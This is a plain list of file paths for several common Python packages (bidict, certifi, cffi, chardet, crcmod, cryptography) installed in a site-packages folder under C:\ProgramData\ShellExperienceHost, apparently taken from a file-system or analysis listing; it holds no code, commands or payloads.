        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\METADATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\PY.TYPED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ABC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_BASE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_BIDICT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_DELEGATING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_DUP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_EXC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_FROZENBIDICT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_FROZENORDERED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ITER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_MUT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_NAMED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ORDEREDBASE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_ORDEREDBIDICT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_TYPING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\_VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI-2020.12.5.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\CACERT.PEM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CERTIFI\__MAIN__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\ENTRY_POINTS.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI-1.14.4.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\BACKEND_CTYPES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\CFFI_OPCODE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\COMMONTYPES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\CPARSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\ERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\FFIPLATFORM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\LOCK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\MODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\PARSE_C_TYPE.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\PKGCONFIG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\RECOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\SETUPTOOLS_EXT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\VENGINE_CPY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\VENGINE_GEN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\VERIFIER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\_CFFI_ERRORS.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\_CFFI_INCLUDE.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\_EMBEDDING.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\ENTRY_POINTS.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET-4.0.0.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\BIG5FREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\BIG5PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARDISTRIBUTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARSETGROUPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CHARSETPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CLI\CHARDETECT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CLI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CODINGSTATEMACHINE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CP949PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ENUMS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ESCPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ESCSM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCJPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCKRFREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCKRPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCTWFREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCTWPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\GB2312FREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\GB2312PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\HEBREWPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\JISFREQ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\JPCNTX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGBULGARIANMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGGREEKMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGHEBREWMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGHUNGARIANMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGRUSSIANMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGTHAIMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGTURKISHMODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LATIN1PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCHARSETPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCSGROUPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCSSM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\METADATA\LANGUAGES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\METADATA\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SBCHARSETPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SBCSGROUPPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SJISPROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\UNIVERSALDETECTOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\UTF8PROBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\CRCMOD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\PREDEFINED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\TEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\_CRCFUNPY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\AUTHORS.RST
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\LICENSE.APACHE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\LICENSE.BSD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\LICENSE.PSF
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\FERNET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\INTERFACES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\AEAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\BACKEND.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\CIPHERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\CMAC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\DECODE_ASN1.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\DH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\DSA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\EC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\ED25519.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\ED448.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\ENCODE_ASN1.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\HASHES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\HMAC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\OCSP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\POLY1305.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\RSA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\X25519.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\X448.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\X509.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\BINDING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\_CONDITIONAL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\_OPENSSL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\_PADDING.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\DH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\DSA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\EC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\ED25519.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\ED448.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\PADDING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\RSA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\X25519.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\X448.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\AEAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\ALGORITHMS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\BASE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\MODES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CMAC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CONSTANT_TIME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\HASHES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\HMAC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\CONCATKDF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\HKDF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\KBKDF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\PBKDF2.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\SCRYPT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\X963KDF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KEYWRAP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\PADDING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\POLY1305.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\BASE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\PKCS12.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\PKCS7.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\SSH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\HOTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\TOTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\_DER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\_OID.PY
